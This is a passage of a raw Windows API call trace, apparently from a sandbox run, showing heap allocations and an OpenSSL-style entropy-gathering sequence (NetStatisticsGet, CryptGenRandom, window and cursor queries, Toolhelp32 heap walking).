Flags=0x0, Ptr=0x2ade30, Size=0x100) returned 0x2a0c78 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae188 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae1a0 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae1b8 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae1d0 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae1e8 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae200 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae218 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae230 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae248 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae260 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae278 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae290 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae2d0 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae2e8 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae300 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae318 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae330 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae348 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae360 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae378 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae390 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae3a8 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae3c0 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae3d8 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae3f0 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae408 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae420 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae438 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae450 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae468 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae480 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae498 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae4b0 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae4c8 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae4e0 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae4f8 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae510 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae528 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae540 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae558 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae570 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae588 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae5a0 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae5b8 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae5d0 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae5e8 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae600 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae618 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae630 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae648 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae660 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae678 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae690 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae6d0 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae6e8 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae700 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae718 [0113.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae730 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae748 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae760 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae778 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae790 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae7a8 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae7c0 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae7d8 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae7f0 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae808 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae820 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae838 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae850 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae868 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae880 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae898 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae8b0 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae8c8 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae8e0 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae8f8 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae910 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae928 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae940 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae958 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae970 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae988 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae9a0 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae9b8 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae9d0 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae9e8 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aea00 [0113.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aea18 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aea30 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aea48 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aea60 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aea78 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aea90 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aead0 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aeae8 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aeb00 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aeb18 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aeb30 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aeb48 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aeb60 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aeb78 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aeb90 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aeba8 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aebc0 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aebd8 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aebf0 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aec08 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aec20 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aec38 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aec50 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aec68 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aec80 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aec98 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aecb0 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aecc8 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aece0 [0113.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aecf8 [0113.816] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aed10 [0113.816] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aed28 [0113.816] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2aed40 [0113.816] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2a0c78, Size=0x200) returned 0x2a0c78 [0113.816] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2a0c78, Size=0x400) returned 0x2d20c48 [0113.850] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x77710000 [0113.850] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76d30000 [0113.850] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x75650000 [0113.851] GetProcAddress (hModule=0x75650000, lpProcName="NetStatisticsGet") returned 0x7565644f [0113.851] GetProcAddress (hModule=0x75650000, lpProcName="NetApiBufferFree") returned 0x756413d2 [0113.851] NetStatisticsGet (in: ServerName=0x0, Service=0x110fafa0, Level=0x0, Options=0x0, Buffer=0x18f720 | out: Buffer=0x18f720) returned 0x0 [0113.890] NetApiBufferFree (Buffer=0x2c8d28) returned 0x0 [0113.890] NetStatisticsGet (in: ServerName=0x0, Service=0x110faf78, Level=0x0, Options=0x0, Buffer=0x18f720 | out: Buffer=0x18f720) returned 0x0 [0113.956] NetApiBufferFree (Buffer=0x2e3a90) returned 0x0 [0113.956] FreeLibrary (hLibModule=0x75650000) returned 1 [0113.957] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0113.957] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0113.957] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0113.957] CryptAcquireContextW (in: phProv=0x18f708, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18f708*=0x2eace8) returned 1 [0113.975] CryptGenRandom (in: hProv=0x2eace8, dwLen=0x40, pbBuffer=0x18fa90 | out: pbBuffer=0x18fa90) returned 1 [0113.975] CryptReleaseContext (hProv=0x2eace8, dwFlags=0x0) returned 1 [0113.975] CryptAcquireContextW (in: phProv=0x18f708, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x18f708*=0x2eace8) returned 0 [0113.975] FreeLibrary (hLibModule=0x77710000) returned 1 [0113.975] GetVersion () returned 0x1db10106 [0113.975] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0113.976] GetProcAddress (hModule=0x400000, lpProcName="_OPENSSL_isservice") returned 0x0 [0113.976] GetProcessWindowStation () returned 0x50 [0113.976] GetUserObjectInformationW (in: hObj=0x50, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x18f650 | out: pvInfo=0x0, lpnLengthNeeded=0x18f650) returned 0 [0113.976] GetLastError () returned 0x7a [0113.976] GetUserObjectInformationW (in: hObj=0x50, nIndex=2, pvInfo=0x18f630, nLength=0x10, lpnLengthNeeded=0x18f650 | out: pvInfo=0x18f630, lpnLengthNeeded=0x18f650) returned 1 [0113.976] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x77130000 [0113.976] GetProcAddress (hModule=0x77130000, lpProcName="GetForegroundWindow") returned 0x77152320 [0113.977] GetProcAddress (hModule=0x77130000, lpProcName="GetCursorInfo") returned 0x771a812f [0113.977] GetProcAddress (hModule=0x77130000, lpProcName="GetQueueStatus") returned 0x77153924 [0113.977] GetForegroundWindow () returned 0x5011c [0113.977] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0113.977] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0113.977] GetVersion () returned 0x1db10106 [0113.977] GetVersion () returned 0x1db10106 [0113.977] GetCursorInfo (in: pci=0x18f6e8 | out: pci=0x18f6e8) returned 1 [0113.978] GetQueueStatus (flags=0xbf) returned 0x0 [0113.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0113.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0113.978] FreeLibrary (hLibModule=0x77130000) returned 1 [0113.978] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0113.978] GetProcAddress (hModule=0x76d30000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0113.978] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32First") returned 0x76dc5763 [0113.978] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32Next") returned 0x76dc594e [0113.979] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32ListFirst") returned 0x76dc5621 [0113.979] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32ListNext") returned 0x76dc56cb [0113.979] GetProcAddress (hModule=0x76d30000, lpProcName="Process32First") returned 0x76d68ae7 [0113.979] GetProcAddress (hModule=0x76d30000, lpProcName="Process32Next") returned 0x76d688a4 [0113.979] GetProcAddress (hModule=0x76d30000, lpProcName="Thread32First") returned 0x76dc5b93 [0113.980] GetProcAddress (hModule=0x76d30000, lpProcName="Thread32Next") returned 0x76dc5c3f [0113.980] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0113.980] GetProcAddress (hModule=0x76d30000, lpProcName="Module32Next") returned 0x76dc5dc2 [0113.980] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x284 [0113.993] GetTickCount () returned 0x114f42f [0113.993] Heap32ListFirst (hSnapshot=0x284, lphl=0x18f6ec) returned 1 [0113.994] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0113.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0113.994] Heap32First (lphe=0x18f6ac, th32ProcessID=0xb7c, th32HeapID=0x2b0000) returned 1 [0114.000] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.000] Heap32Next (lphe=0x18f6ac) returned 1 [0114.004] GetTickCount () returned 0x114f43e [0114.004] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.004] Heap32Next (lphe=0x18f6ac) returned 1 [0114.008] GetTickCount () returned 0x114f43e [0114.008] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.008] Heap32Next (lphe=0x18f6ac) returned 1 [0114.012] GetTickCount () returned 0x114f43e [0114.012] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.012] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.012] Heap32Next (lphe=0x18f6ac) returned 1 [0114.017] GetTickCount () returned 0x114f43e [0114.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.017] Heap32Next (lphe=0x18f6ac) returned 1 [0114.023] GetTickCount () returned 0x114f44e [0114.023] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.023] Heap32Next (lphe=0x18f6ac) returned 1 [0114.028] GetTickCount () returned 0x114f44e [0114.028] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.028] Heap32Next (lphe=0x18f6ac) returned 1 [0114.041] GetTickCount () returned 0x114f45e [0114.041] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.042] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.042] Heap32Next (lphe=0x18f6ac) returned 1 [0114.084] GetTickCount () returned 0x114f48c [0114.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.084] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.084] Heap32Next (lphe=0x18f6ac) returned 1 [0114.088] GetTickCount () returned 0x114f48c [0114.088] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.088] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.088] Heap32Next (lphe=0x18f6ac) returned 1 [0114.093] GetTickCount () returned 0x114f48c [0114.093] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.093] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.093] Heap32Next (lphe=0x18f6ac) returned 1 [0114.097] GetTickCount () returned 0x114f49c [0114.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.097] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.097] Heap32Next (lphe=0x18f6ac) returned 1 [0114.102] GetTickCount () returned 0x114f49c [0114.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.102] Heap32Next (lphe=0x18f6ac) returned 1 [0114.106] GetTickCount () returned 0x114f49c [0114.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.106] Heap32Next (lphe=0x18f6ac) returned 1 [0114.110] GetTickCount () returned 0x114f49c [0114.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.111] Heap32Next (lphe=0x18f6ac) returned 1 [0114.127] GetTickCount () returned 0x114f4ac [0114.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.127] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.127] Heap32Next (lphe=0x18f6ac) returned 1 [0114.132] GetTickCount () returned 0x114f4bb [0114.132] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.132] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.132] Heap32Next (lphe=0x18f6ac) returned 1 [0114.138] GetTickCount () returned 0x114f4bb [0114.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.138] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.138] Heap32Next (lphe=0x18f6ac) returned 1 [0114.165] GetTickCount () returned 0x114f4da [0114.165] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.165] Heap32Next (lphe=0x18f6ac) returned 1 [0114.171] GetTickCount () returned 0x114f4da [0114.171] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.171] Heap32Next (lphe=0x18f6ac) returned 1 [0114.176] GetTickCount () returned 0x114f4ea [0114.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.176] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.176] Heap32Next (lphe=0x18f6ac) returned 1 [0114.182] GetTickCount () returned 0x114f4ea [0114.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.182] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.182] Heap32Next (lphe=0x18f6ac) returned 1 [0114.187] GetTickCount () returned 0x114f4ea [0114.187] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.187] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.187] Heap32Next (lphe=0x18f6ac) returned 1 [0114.204] GetTickCount () returned 0x114f4fa [0114.204] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.204] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.204] Heap32Next (lphe=0x18f6ac) returned 1 [0114.209] GetTickCount () returned 0x114f509 [0114.209] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.209] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.209] Heap32Next (lphe=0x18f6ac) returned 1 [0114.214] GetTickCount () returned 0x114f509 [0114.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.214] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.214] Heap32Next (lphe=0x18f6ac) returned 1 [0114.220] GetTickCount () returned 0x114f509 [0114.220] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.220] Heap32Next (lphe=0x18f6ac) returned 1 [0114.226] GetTickCount () returned 0x114f519 [0114.226] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.226] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.226] Heap32Next (lphe=0x18f6ac) returned 1 [0114.231] GetTickCount () returned 0x114f519 [0114.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.231] Heap32Next (lphe=0x18f6ac) returned 1 [0114.237] 